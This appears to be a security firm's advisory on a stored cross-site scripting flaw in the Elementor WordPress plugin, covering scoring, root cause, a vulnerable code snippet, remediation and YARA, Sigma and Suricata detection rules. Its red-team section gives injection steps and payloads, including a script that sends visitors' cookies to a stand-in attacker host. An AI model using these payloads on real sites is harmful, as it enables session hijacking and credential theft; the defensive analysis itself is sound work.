CVE-2025-14732

Executive Summary

CVE-2025-14732 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin for WordPress, affecting all versions up to and including 3.35.5. The flaw resides in insufficient input sanitization and output escaping of several widget parameters, allowing authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using the vulnerable Elementor plugin version.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for exploitation. An attacker with Contributor access can inject persistent XSS payloads that affect all visitors.

Deep Dive & Mechanics

The vulnerability exists in the Elementor plugin's widget rendering logic. Several widget parameters (e.g., text fields, link URLs, or custom CSS classes) are not properly sanitized or escaped before being stored in the database and later rendered on the frontend. When a Contributor-level user creates or edits a page using Elementor, they can inject malicious JavaScript into these parameters. The injected script is stored in the WordPress post meta and executed in the browser of any user viewing the page, including administrators.

The root cause is the lack of wp_kses() or similar sanitization functions on widget input, combined with insufficient output escaping using esc_html() or esc_attr() in the template rendering. This allows HTML and JavaScript to pass through unmodified.

Vulnerable vs. Patched Code

Vulnerable Code (Elementor <= 3.35.5):

// In a widget render method
$text = $settings['custom_text'];
echo '<div class="elementor-widget-text">' . $text . '</div>';

The $text variable is output directly without escaping, allowing <script>alert('XSS')</script> to be injected.

Patched Code (Hypothetical fix):

$text = $settings['custom_text'];
echo '<div class="elementor-widget-text">' . esc_html( $text ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress site with Elementor <= 3.35.5, an account with Contributor-level access.
2. Steps:
   • Log in as a Contributor.
   • Create a new page or edit an existing one using Elementor.
   • Add a vulnerable widget (e.g., Heading, Text, or Button).
   • In a parameter like "Title" or "Link URL", inject a payload:

     <img src=x onerror=alert(document.cookie)>
     

   • Save and publish the page.
   • When any user (including admin) visits the page, the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Prevention)

• Input Validation: Implement server-side sanitization using wp_kses_post() for all widget parameters.
• Output Escaping: Use esc_html(), esc_attr(), or esc_url() when rendering user-controlled data.
• Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts.
• Web Application Firewall (WAF): Use rules to block common XSS patterns (e.g., <script>, onerror=).
• User Training: Restrict Contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Stored Payloads: Look for suspicious HTML/JavaScript in wp_postmeta table, specifically in meta keys like _elementor_data or _elementor_settings.
• Log Entries: Unusual POST requests to /wp-admin/admin-ajax.php with action=elementor_ajax and payloads containing <script> tags.
• Network Traffic: Outbound connections to attacker-controlled domains from the WordPress server.
• File Changes: Modified or new files in /wp-content/uploads/elementor/ containing obfuscated JavaScript.

Detection Engineering

YARA Rule

rule CVE_2025_14732_Elementor_XSS {
    meta:
        description = "Detects stored XSS payloads in Elementor widget parameters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14732"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-14732 Elementor Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Elementor widget parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=elementor_ajax'
        http.body|re: '(<script[^>]*>|onerror=|onload=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Elementor (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14732 Elementor Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script[^>]*>|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Elementor plugin until a patch is available.
2. Short-term: Restrict Contributor-level access to trusted users only. Implement a Web Application Firewall (WAF) with XSS rules.
3. Long-term: Apply the official patch from Elementor when released. Update to version 3.35.6 or later.
4. Workaround: Use a security plugin like Wordfence to block malicious input. Manually audit all pages created by Contributors for suspicious content.

Valters IT
Securing Digital Frontiers

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